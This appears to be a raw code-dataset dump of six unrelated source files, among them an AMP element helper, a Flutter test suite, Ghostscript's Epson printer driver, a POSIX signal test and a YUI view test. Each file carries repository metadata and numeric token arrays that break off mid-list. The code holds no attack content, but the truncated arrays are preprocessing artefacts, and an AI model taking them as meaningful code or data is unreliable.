{ if (isInternalElement(node)) { return true; } if ( node.tagName && (node.hasAttribute('placeholder') || node.hasAttribute('fallback') || node.hasAttribute('overflow')) ) { return true; } return false; } /** * Creates a new custom element class prototype. * * @param {!Window} win The window in which to register the custom element. * @param {(typeof ./base-element.BaseElement)=} opt_implementationClass For testing only. * @return {!Object} Prototype of element. */ export function createAmpElementForTesting(win, opt_implementationClass) { const Element = createCustomElementClass(win); if (getMode().test && opt_implementationClass) { Element.prototype.implementationClassForTesting = opt_implementationClass; } return Element; }
adup-tech/amphtml
src/custom-element.js
JavaScript
apache-2.0
58,872
[ 30522, 1013, 1008, 1008, 1008, 9385, 2325, 1996, 23713, 16129, 6048, 1012, 2035, 2916, 9235, 1012, 1008, 1008, 7000, 2104, 1996, 15895, 6105, 1010, 2544, 1016, 1012, 1014, 1006, 1996, 1000, 6105, 1000, 1007, 1025, 1008, 2017, 2089, 2025, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
// Copyright 2013 The Flutter Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. package io.flutter; import io.flutter.embedding.android.FlutterActivityAndFragmentDelegateTest; import io.flutter.embedding.android.FlutterActivityTest; import io.flutter.embedding.android.FlutterAndroidComponentTest; import io.flutter.embedding.android.FlutterFragmentActivityTest; import io.flutter.embedding.android.FlutterFragmentTest; import io.flutter.embedding.android.FlutterViewTest; import io.flutter.embedding.android.KeyChannelResponderTest; import io.flutter.embedding.android.KeyboardManagerTest; import io.flutter.embedding.engine.FlutterEngineCacheTest; import io.flutter.embedding.engine.FlutterEngineConnectionRegistryTest; import io.flutter.embedding.engine.FlutterEngineGroupComponentTest; import io.flutter.embedding.engine.FlutterJNITest; import io.flutter.embedding.engine.LocalizationPluginTest; import io.flutter.embedding.engine.RenderingComponentTest; import io.flutter.embedding.engine.dart.DartExecutorTest; import io.flutter.embedding.engine.dart.DartMessengerTest; import io.flutter.embedding.engine.deferredcomponents.PlayStoreDeferredComponentManagerTest; import io.flutter.embedding.engine.loader.ApplicationInfoLoaderTest; import io.flutter.embedding.engine.loader.FlutterLoaderTest; import io.flutter.embedding.engine.mutatorsstack.FlutterMutatorViewTest; import io.flutter.embedding.engine.plugins.shim.ShimPluginRegistryTest; import io.flutter.embedding.engine.renderer.FlutterRendererTest; import io.flutter.embedding.engine.systemchannels.DeferredComponentChannelTest; import io.flutter.embedding.engine.systemchannels.KeyEventChannelTest; import io.flutter.embedding.engine.systemchannels.PlatformChannelTest; import io.flutter.embedding.engine.systemchannels.RestorationChannelTest; import io.flutter.external.FlutterLaunchTests; import io.flutter.plugin.common.BinaryCodecTest; import io.flutter.plugin.common.StandardMessageCodecTest; import io.flutter.plugin.common.StandardMethodCodecTest; import io.flutter.plugin.editing.InputConnectionAdaptorTest; import io.flutter.plugin.editing.ListenableEditingStateTest; import io.flutter.plugin.editing.TextInputPluginTest; import io.flutter.plugin.mouse.MouseCursorPluginTest; import io.flutter.plugin.platform.PlatformPluginTest; import io.flutter.plugin.platform.PlatformViewsControllerTest; import io.flutter.plugin.platform.SingleViewPresentationTest; import io.flutter.util.PreconditionsTest; import io.flutter.view.AccessibilityBridgeTest; import org.junit.runner.RunWith; import org.junit.runners.Suite; import org.junit.runners.Suite.SuiteClasses; import test.io.flutter.embedding.engine.FlutterEngineTest; import test.io.flutter.embedding.engine.FlutterShellArgsTest; import test.io.flutter.embedding.engine.PluginComponentTest; @RunWith(Suite.class) @SuiteClasses({ AccessibilityBridgeTest.class, ApplicationInfoLoaderTest.class, BinaryCodecTest.class, DartExecutorTest.class, DartMessengerTest.class, FlutterActivityAndFragmentDelegateTest.class, FlutterActivityTest.class, FlutterAndroidComponentTest.class, FlutterEngineCacheTest.class, FlutterEngineConnectionRegistryTest.class, FlutterEngineGroupComponentTest.class, FlutterEngineTest.class, FlutterFragmentActivityTest.class, FlutterFragmentTest.class, FlutterInjectorTest.class, FlutterJNITest.class, FlutterLaunchTests.class, FlutterLoaderTest.class, FlutterMutatorViewTest.class, FlutterShellArgsTest.class, FlutterRendererTest.class, FlutterShellArgsTest.class, FlutterViewTest.class, InputConnectionAdaptorTest.class, DeferredComponentChannelTest.class, KeyboardManagerTest.class, KeyChannelResponderTest.class, KeyEventChannelTest.class, ListenableEditingStateTest.class, LocalizationPluginTest.class, MouseCursorPluginTest.class, PlatformChannelTest.class, PlatformPluginTest.class, PlatformViewsControllerTest.class, PlayStoreDeferredComponentManagerTest.class, PluginComponentTest.class, PreconditionsTest.class, RenderingComponentTest.class, RestorationChannelTest.class, ShimPluginRegistryTest.class, SingleViewPresentationTest.class, SmokeTest.class, StandardMessageCodecTest.class, StandardMethodCodecTest.class, TextInputPluginTest.class, }) /** Runs all of the unit tests listed in the {@code @SuiteClasses} annotation. */ public class FlutterTestSuite {}
jamesr/flutter_engine
shell/platform/android/test/io/flutter/FlutterTestSuite.java
Java
bsd-3-clause
4,483
[ 30522, 1013, 1013, 9385, 2286, 1996, 23638, 6048, 1012, 2035, 2916, 9235, 1012, 1013, 1013, 2224, 1997, 2023, 3120, 3642, 2003, 9950, 2011, 1037, 18667, 2094, 1011, 2806, 6105, 2008, 2064, 2022, 1013, 1013, 2179, 1999, 1996, 6105, 5371, 1...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
/* Copyright (C) 1989-1994, 1998 Aladdin Enterprises. All rights reserved. This software is provided AS-IS with no warranty, either express or implied. This software is distributed under license and may not be copied, modified or distributed except as expressly authorized under the terms of the license contained in the file LICENSE in this distribution. For more information about licensing, please refer to http://www.ghostscript.com/licensing/. For information on commercial licensing, go to http://www.artifex.com/licensing/ or contact Artifex Software, Inc., 101 Lucas Valley Road #110, San Rafael, CA 94903, U.S.A., +1(415)492-9861. */ /* $Id: gdevepsn.c,v 1.9 2004/08/04 19:36:12 stefan Exp $*/ /* * Epson (and similar) dot-matrix printer driver for Ghostscript. * * Four devices are defined here: 'epson', 'eps9mid', 'eps9high', and 'ibmpro'. * The 'epson' device is the generic device, for 9-pin and 24-pin printers. * 'eps9high' is a special mode for 9-pin printers where scan lines are * interleaved in multiple passes to produce high vertical resolution at * the expense of several passes of the print head. 'eps9mid' is a special * mode for 9 pin printers too, scan lines are interleaved but with next * vertical line. 'ibmpro' is for the IBM ProPrinter, which has slightly * (but only slightly) different control codes. * * Thanks to: * David Wexelblat (dwex@mtgzfs3.att.com) for the 'eps9high' code; * Guenther Thomsen (thomsen@cs.tu-berlin.de) for the 'eps9mid' code; * James W. Birdsall (jwbirdsa@picarefy.picarefy.com) for the * 'ibmpro' modifications; * Russell J. Lang (rjl@aladdin.com) for the 180x60 and 240x180 dpi * enhancements. */ #include "gdevprn.h" /* * Define whether the printer is archaic -- so old that it doesn't * support settable tabs, pitch, or left margin. (This should be a * run-time property....) Note: the IBM ProPrinter is archaic. */ /*#define ARCHAIC 1*/ /* * Define whether the printer is a Panasonic 9-pin printer, * which sometimes doesn't recognize a horizontal tab command * when a line contains a lot of graphics commands, * requiring a "backspace, space" sequence before a tab. */ /*#define TAB_HICCUP 1*/ /* * Define the minimum distance for which it's worth converting white space * into a tab. This can be specified in pixels (to save transmission time), * in tenths of an inch (for printers where tabs provoke actual head motion), * or both. The distance must meet BOTH criteria for the driver to tab, * so an irrelevant criterion should be set to 0 rather than infinite. */ #define MIN_TAB_PIXELS 10 #define MIN_TAB_10THS 15 /* * Valid values for X_DPI: * * For 9-pin printers: 60, 120, 240 * For 24-pin printers: 60, 120, 180, 240, 360 * * The value specified at compile time is the default value used if the * user does not specify a resolution at runtime. */ #ifndef X_DPI # define X_DPI 240 #endif /* * For Y_DPI, a given printer will support a base resolution of 60 or 72; * check the printer manual. The Y_DPI value must be a multiple of this * base resolution. Valid values for Y_DPI: * * For 9-pin printers: 1*base_res * For 24-pin printers: 1*base_res, 3*base_res * * The value specified at compile time is the default value used if the * user does not specify a resolution at runtime. */ #ifndef Y_BASERES # define Y_BASERES 72 #endif #ifndef Y_DPI # define Y_DPI (1*Y_BASERES) #endif /* The device descriptors */ private dev_proc_print_page(epson_print_page); private dev_proc_print_page(eps9mid_print_page); private dev_proc_print_page(eps9high_print_page); private dev_proc_print_page(ibmpro_print_page); /* Standard Epson device */ const gx_device_printer far_data gs_epson_device = prn_device(prn_std_procs, "epson", DEFAULT_WIDTH_10THS, DEFAULT_HEIGHT_10THS, X_DPI, Y_DPI, 0.2, 0.0, 0.0, 0.0, /* margins */ 1, epson_print_page); /* Mid-res (interleaved, 1 pass per line) 9-pin device */ const gx_device_printer far_data gs_eps9mid_device = prn_device(prn_std_procs, "eps9mid", DEFAULT_WIDTH_10THS, DEFAULT_HEIGHT_10THS, X_DPI, 3*Y_BASERES, 0.2, 0.0, 0, 0.0, /* margins */ 1, eps9mid_print_page); /* High-res (interleaved) 9-pin device */ const gx_device_printer far_data gs_eps9high_device = prn_device(prn_std_procs, "eps9high", DEFAULT_WIDTH_10THS, DEFAULT_HEIGHT_10THS, X_DPI, 3*Y_BASERES, 0.2, 0.0, 0.0, 0.0, /* margins */ 1, eps9high_print_page); /* IBM ProPrinter device */ const gx_device_printer far_data gs_ibmpro_device = prn_device(prn_std_procs, "ibmpro", DEFAULT_WIDTH_10THS, DEFAULT_HEIGHT_10THS, X_DPI, Y_DPI, 0.2, 0.0, 0.0, 0.0, /* margins */ 1, ibmpro_print_page); /* ------ Driver procedures ------ */ /* Forward references */ private void eps_output_run(byte *, int, int, char, FILE *, int); /* Send the page to the printer. */ #define DD 0x40 /* double density flag */ private int eps_print_page(gx_device_printer *pdev, FILE *prn_stream, int y_9pin_high, const char *init_string, int init_length, const char *end_string, int archaic, int tab_hiccup) { static const char graphics_modes_9[5] = { -1, 0 /*60*/, 1 /*120*/, 7 /*180*/, DD+3 /*240*/ }; static const char graphics_modes_24[7] = { -1, 32 /*60*/, 33 /*120*/, 39 /*180*/, DD+35 /*240*/, -1, DD+40 /*360*/ }; int y_24pin = (y_9pin_high ? 0 : pdev->y_pixels_per_inch > 72); int in_y_mult = ((y_24pin | y_9pin_high) ? 3 : 1); int line_size = gdev_mem_bytes_per_scan_line((gx_device *)pdev); /* Note that in_size is a multiple of 8. */ int in_size = line_size * (8 * in_y_mult); byte *buf1 = (byte *)gs_malloc(pdev->memory, in_size, 1, "eps_print_page(buf1)"); byte *buf2 = (byte *)gs_malloc(pdev->memory, in_size, 1, "eps_print_page(buf2)"); byte *in = buf1; byte *out = buf2; int out_y_mult = (y_24pin ? 3 : 1); int x_dpi = (int)pdev->x_pixels_per_inch; char start_graphics = (y_24pin ? graphics_modes_24 : graphics_modes_9)[x_dpi / 60]; int first_pass = (start_graphics & DD ? 1 : 0); int last_pass = first_pass * (y_9pin_high == 2 ? 1 : 2); int y_passes = (y_9pin_high ? 3 : 1); int dots_per_space = x_dpi / 10; /* pica space = 1/10" */ int bytes_per_space = dots_per_space * out_y_mult; int tab_min_pixels = x_dpi * MIN_TAB_10THS / 10; int skip = 0, lnum = 0, pass, ypass; /* Check allocations */ if ( buf1 == 0 || buf2 == 0 ) { if ( buf1 ) gs_free(pdev->memory, (char *)buf1, in_size, 1, "eps_print_page(buf1)"); if ( buf2 ) gs_free(pdev->memory, (char *)buf2, in_size, 1, "eps_print_page(buf2)"); return_error(gs_error_VMerror); } /* Initialize the printer and reset the margins. */ fwrite(init_string, 1, init_length, prn_stream); if ( init_string[init_length - 1] == 'Q' ) fputc((int)(pdev->width / pdev->x_pixels_per_inch * 10) + 2, prn_stream); /* Calculate the minimum tab distance. */ if ( tab_min_pixels < max(MIN_TAB_PIXELS, 3) ) tab_min_pixels = max(MIN_TAB_PIXELS, 3); tab_min_pixels -= tab_min_pixels % 3; /* simplify life */ /* Print lines of graphics */ while ( lnum < pdev->height ) { byte *in_data; byte *inp; byte *in_end; byte *out_end; byte *out_blk; register byte *outp; int lcnt; /* Copy 1 scan line and test for all zero. */ gdev_prn_get_bits(pdev, lnum, in, &in_data); if ( in_data[0] == 0 && !memcmp((char *)in_data, (char *)in_data + 1, line_size - 1) ) { lnum++; skip += 3 / in_y_mult; continue; } /* Vertical tab to the appropriate position. */ while ( skip > 255 ) { fputs("\033J\377", prn_stream); skip -= 255; } if ( skip ) { fprintf(prn_stream, "\033J%c", skip); } /* Copy the the scan lines. */ lcnt = gdev_prn_copy_scan_lines(pdev, lnum, in, in_size); if ( lcnt < 8 * in_y_mult ) { /* Pad with lines of zeros. */ memset(in + lcnt * line_size, 0, in_size - lcnt * line_size); } if ( y_9pin_high == 2 ) { /* Force printing of every dot in one pass */ /* by reducing vertical resolution */ /* (ORing with the next line of data). */ /* This is necessary because some Epson compatibles */ /* can't print neighboring dots. */ int i; for ( i = 0; i < line_size * in_y_mult; ++i ) in_data[i] |= in_data[i + line_size]; } if ( y_9pin_high ) { /* Shuffle the scan lines */ byte *p; int i; static const char index[] = { 0, 8, 16, 1, 9, 17, 2, 10, 18, 3, 11, 19, 4, 12, 20, 5, 13, 21, 6, 14, 22, 7, 15, 23 }; for ( i = 0; i < 24; i++ ) { memcpy(out+(index[i]*line_size), in+(i*line_size), line_size); } p = in; in = out; out = p; } for ( ypass = 0; ypass < y_passes; ypass++ ) { for ( pass = first_pass; pass <= last_pass; pass++ ) { /* We have to 'transpose' blocks of 8 pixels x 8 lines, */ /* because that's how the printer wants the data. */ /* If we are in a 24-pin mode, we have to transpose */ /* groups of 3 lines at a time. */ if ( pass == first_pass ) { out_end = out; inp = in; in_end = inp + line_size; if ( y_24pin ) { for ( ; inp < in_end; inp++, out_end += 24 ) { gdev_prn_transpose_8x8(inp, line_size, out_end, 3); gdev_prn_transpose_8x8(inp + line_size * 8, line_size, out_end + 1, 3); gdev_prn_transpose_8x8(inp + line_size * 16, line_size, out_end + 2, 3); } /* Remove trailing 0s. */ while ( out_end > out && out_end[-1] == 0 && out_end[-2] == 0 && out_end[-3] == 0) { out_end -= 3; } } else { for ( ; inp < in_end; inp++, out_end += 8 ) { gdev_prn_transpose_8x8(inp + (ypass * 8*line_size), line_size, out_end, 1); } /* Remove trailing 0s. */ while ( out_end > out && out_end[-1] == 0 ) { out_end--; } } } for ( out_blk = outp = out; outp < out_end; ) { /* Skip a run of leading 0s. At least */ /* tab_min_pixels are needed to make tabbing */ /* worth it. We do everything by 3's to */ /* avoid having to make different cases */ /* for 9- and 24-pin. */ if ( !archaic && *outp == 0 && out_end - outp >= tab_min_pixels && (outp[1] | outp[2]) == 0 && !memcmp((char *)outp, (char *)outp + 3, tab_min_pixels - 3) ) { byte *zp = outp; int tpos; byte *newp; outp += tab_min_pixels; while ( outp + 3 <= out_end && *outp == 0 && outp[1] == 0 && outp[2] == 0 ) { outp += 3; } tpos = (outp - out) / bytes_per_space; newp = out + tpos * bytes_per_space; if ( newp > zp + 10 ) { /* Output preceding bit data.*/ if ( zp > out_blk ) { /* only false at beginning of line */ eps_output_run(out_blk, (int)(zp - out_blk), out_y_mult, start_graphics, prn_stream, (y_9pin_high == 2 ? (1 + ypass) & 1 : pass)); } /* Tab over to the appropriate position. */ if ( tab_hiccup ) fputs("\010 ", prn_stream); /* bksp, space */ /* The following statement is broken up */ /* to work around a bug in emx/gcc. */ fprintf(prn_stream, "\033D%c", tpos); fputc(0, prn_stream); fputc('\t', prn_stream); out_blk = outp = newp; } } else { outp += out_y_mult; } } if ( outp > out_blk ) { eps_output_run(out_blk, (int)(outp - out_blk), out_y_mult, start_graphics, prn_stream, (y_9pin_high == 2 ? (1 + ypass) & 1 : pass)); } fputc('\r', prn_stream); } if ( ypass < y_passes - 1 ) fputs("\033J\001", prn_stream); } skip = 24 - y_passes + 1; /* no skip on last Y pass */ lnum += 8 * in_y_mult; } /* Eject the page and reinitialize the printer */ fputs(end_string, prn_stream); fflush(prn_stream); gs_free(pdev->memory, (char *)buf2, in_size, 1, "eps_print_page(buf2)"); gs_free(pdev->memory, (char *)buf1, in_size, 1, "eps_print_page(buf1)"); return 0; } /* Output a single graphics command. */ /* pass=0 for all columns, 1 for even columns, 2 for odd columns. */ private void eps_output_run(byte *data, int count, int y_mult, char start_graphics, FILE *prn_stream, int pass) { int xcount = count / y_mult; fputc(033, prn_stream); if ( !(start_graphics & ~3) ) { fputc("KLYZ"[(int)start_graphics], prn_stream); } else { fputc('*', prn_stream); fputc(start_graphics & ~DD, prn_stream); } fputc(xcount & 0xff, prn_stream); fputc(xcount >> 8, prn_stream); if ( !pass ) { fwrite(data, 1, count, prn_stream); } else { /* Only write every other column of y_mult bytes. */ int which = pass; register byte *dp = data; register int i, j; for ( i = 0; i < xcount; i++, which++ ) { for ( j = 0; j < y_mult; j++, dp++ ) { putc(((which & 1) ? *dp : 0), prn_stream); } } } } /* The print_page procedures are here, to avoid a forward reference. */ #ifndef ARCHAIC # define ARCHAIC 0 #endif #ifndef TAB_HICCUP # define TAB_HICCUP 0 #endif #define ESC 0x1b private const char eps_init_string[] = { #if ARCHAIC ESC, '@', 022 /*^R*/, ESC, 'Q' #else ESC, '@', ESC, 'P', ESC, 'l', 0, '\r', ESC, 'Q' #endif }; private int epson_print_page(gx_device_printer *pdev, FILE *prn_stream) { return eps_print_page(pdev, prn_stream, 0, eps_init_string, sizeof(eps_init_string), "\f\033@", ARCHAIC, TAB_HICCUP); } private int eps9high_print_page(gx_device_printer *pdev, FILE *prn_stream) { return eps_print_page(pdev, prn_stream, 1, eps_init_string, sizeof(eps_init_string), "\f\033@", ARCHAIC, TAB_HICCUP); } private int eps9mid_print_page(gx_device_printer *pdev, FILE *prn_stream) { return eps_print_page(pdev, prn_stream, 2, eps_init_string, sizeof(eps_init_string), "\f\033@", ARCHAIC, TAB_HICCUP); } private int ibmpro_print_page(gx_device_printer *pdev, FILE *prn_stream) { /* * IBM Proprinter Guide to Operations, p. 4-5: "DC1: Select Printer: Sets * the printer to accept data from your computer." Prevents printer from * interpreting first characters as literal text. */ #define DC1 0x11 static const char ibmpro_init_string[] = { DC1, ESC, '3', 0x30 }; #undef DC1 return eps_print_page(pdev, prn_stream, 0, ibmpro_init_string, sizeof(ibmpro_init_string), "\f", 1, 0); }
brho/plan9
sys/src/cmd/gs/src/gdevepsn.c
C
gpl-2.0
14,731
[ 30522, 1013, 1008, 9385, 1006, 1039, 1007, 2960, 1011, 2807, 1010, 2687, 21862, 18277, 9926, 1012, 2035, 2916, 9235, 1012, 2023, 4007, 2003, 3024, 2004, 1011, 2003, 2007, 2053, 10943, 2100, 1010, 2593, 4671, 2030, 13339, 1012, 2023, 4007, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
/* * Copyright (c) 2002-2003, Intel Corporation. All rights reserved. * Created by: salwan.searty REMOVE-THIS AT intel DOT com * This file is licensed under the GPL license. For the full content * of this license, see the COPYING file at the top level of this * source tree. * Test that the sigwaitinfo() function shall return the selected signal number. Steps: 1. Register signal SIGTOTEST with the handler myhandler 2. Block SIGTOTEST from the process 3. Raise the signal, causing it to be pending 4. Call sigwaitinfo() and verify that it returns the signal SIGTOTEST. */ #define _XOPEN_SOURCE 600 #define _XOPEN_REALTIME 1 #define SIGTOTEST SIGUSR1 #include <signal.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/wait.h> #include "posixtest.h" void myhandler(int signo) { printf("Inside handler\n"); } int main(void) { struct sigaction act; sigset_t pendingset, selectset; act.sa_flags = 0; act.sa_handler = myhandler; sigemptyset(&pendingset); sigemptyset(&selectset); sigaddset(&selectset, SIGTOTEST); sigemptyset(&act.sa_mask); sigaction(SIGTOTEST, &act, 0); sighold(SIGTOTEST); raise(SIGTOTEST); sigpending(&pendingset); if (sigismember(&pendingset, SIGTOTEST) != 1) { perror("SIGTOTEST is not pending\n"); return PTS_UNRESOLVED; } if (sigwaitinfo(&selectset, NULL) != SIGTOTEST) { perror("Call to sigwaitinfo() failed\n"); return PTS_FAIL; } printf("Test PASSED\n"); return PTS_PASS; }
yankunsam/ltp
testcases/open_posix_testsuite/conformance/interfaces/sigwaitinfo/9-1.c
C
gpl-2.0
1,498
[ 30522, 1013, 1008, 1008, 9385, 1006, 1039, 1007, 2526, 1011, 2494, 1010, 13420, 3840, 1012, 2035, 2916, 9235, 1012, 1008, 2580, 2011, 1024, 16183, 7447, 1012, 2712, 5339, 2100, 6366, 1011, 2023, 2012, 13420, 11089, 4012, 1008, 2023, 5371, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
<!DOCTYPE html> <html> <!-- Mirrored from www.w3schools.com/aspnet/try_razor_cs_011.asp by HTTrack Website Copier/3.x [XR&CO'2014], Fri, 23 Jan 2015 08:13:45 GMT --> <body> <p>The price is OK.</p> </body> <!-- Mirrored from www.w3schools.com/aspnet/try_razor_cs_011.asp by HTTrack Website Copier/3.x [XR&CO'2014], Fri, 23 Jan 2015 08:13:45 GMT --> </html>
platinhom/ManualHom
Coding/W3School/W3Schools_Offline_2015/www.w3schools.com/aspnet/try_razor_cs_011-2.html
HTML
gpl-2.0
357
[ 30522, 1026, 999, 9986, 13874, 16129, 1028, 1026, 16129, 1028, 1026, 999, 1011, 1011, 22243, 2013, 7479, 1012, 1059, 2509, 11624, 13669, 2015, 1012, 4012, 1013, 2004, 2361, 7159, 1013, 3046, 1035, 15082, 1035, 20116, 1035, 5890, 2487, 1012,...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
/* * Copyright (C) eZ Systems AS. All rights reserved. * For full copyright and license information view LICENSE file distributed with this source code. */ YUI.add('ez-relationlist-editview-tests', function (Y) { var viewTest, registerTest, universalDiscoveryRelationTest, getFieldTest, getEmptyFieldTest, tapTest, loadObjectRelationsTest, initializerTest, Assert = Y.Assert; viewTest = new Y.Test.Case({ name: "eZ Relation list View test", _getFieldDefinition: function (required) { return { isRequired: required }; }, setUp: function () { this.relatedContents = []; this.fieldDefinitionIdentifier= "niceField"; this.fieldDefinition = { fieldType: "ezobjectrelationlist", identifier: this.fieldDefinitionIdentifier, isRequired: false }; this.field = {fieldValue: {destinationContentIds: [45, 42]}}; this.jsonContent = {}; this.jsonContentType = {}; this.jsonVersion = {}; this.loadingError = false; this.content = new Y.Mock(); this.version = new Y.Mock(); this.contentType = new Y.Mock(); Y.Mock.expect(this.content, { method: 'toJSON', returns: this.jsonContent }); Y.Mock.expect(this.version, { method: 'toJSON', returns: this.jsonVersion }); Y.Mock.expect(this.contentType, { method: 'toJSON', returns: this.jsonContentType }); this.view = new Y.eZ.RelationListEditView({ container: '.container', field: this.field, fieldDefinition: this.fieldDefinition, content: this.content, version: this.version, contentType: this.contentType, relatedContents: this.relatedContents, translating: false, }); }, tearDown: function () { this.view.destroy(); delete this.view; }, _testAvailableVariables: function (required, expectRequired) { var fieldDefinition = this._getFieldDefinition(required), that = this, destContentToJSONArray = []; this.view.set('fieldDefinition', fieldDefinition); this.view.template = function (variables) { Y.Assert.isObject(variables, "The template should receive some variables"); Y.Assert.areEqual(10, Y.Object.keys(variables).length, "The template should receive 10 variables"); Y.Assert.areSame( that.jsonContent, variables.content, "The content should be available in the field edit view template" ); Y.Assert.areSame( that.jsonVersion, variables.version, "The version should be available in the field edit view template" ); Y.Assert.areSame( that.jsonContentType, variables.contentType, "The contentType should be available in the field edit view template" ); Y.Assert.areSame( fieldDefinition, variables.fieldDefinition, "The fieldDefinition should be available in the field edit view template" ); Y.Assert.areSame( that.field, variables.field, "The field should be available in the field edit view template" ); Y.Assert.isFalse( variables.isNotTranslatable, "The isNotTranslatable should be available in the field edit view template" ); Y.Assert.areSame( that.view.get('loadingError'), variables.loadingError, "The field should be available in the field edit view template" ); Y.Array.each(that.view.get('relatedContents'), function (destContent) { destContentToJSONArray.push(destContent.toJSON()); }); for ( var i = 0; i<= variables.relatedContents.length; i++){ Y.Assert.areSame( destContentToJSONArray[i], variables.relatedContents[i], "The field should be available in the field edit view template" ); } Y.Assert.areSame(expectRequired, variables.isRequired); return ''; }; this.view.render(); }, "Test required field": function () { this._testAvailableVariables(true, true); }, "Test not required field": function () { this._testAvailableVariables(false, false); }, "Test validate no constraints": function () { var fieldDefinition = this._getFieldDefinition(false); this.view.set('fieldDefinition', fieldDefinition); this.view.set('relatedContents', []); this.view.render(); this.view.validate(); Y.Assert.isTrue( this.view.isValid(), "An empty relation is valid" ); }, "Test validate required": function () { var fieldDefinition = this._getFieldDefinition(true); this.view.set('fieldDefinition', fieldDefinition); this.view.set('relatedContents', []); this.view.validate(); this.view.render(); Y.Assert.isFalse( this.view.isValid(), "An empty relation is NOT valid" ); }, "Should render the view when the loadingError attribute changes": function () { var templateCalled = false, origTpl = this.view.template; this.view.template = function (variables) { templateCalled = true; return origTpl.apply(this, arguments); }; this.view.set('loadingError', true); Y.Assert.isTrue(templateCalled, "The template has not been used"); }, "Should render the view when the destinationContent attribute changes": function () { var templateCalled = false, origTpl = this.view.template; this.view.template = function (variables) { templateCalled = true; return origTpl.apply(this, arguments); }; this.view.set('relatedContents', this.relatedContents); Y.Assert.isTrue(templateCalled, "The template has not been used"); }, }); 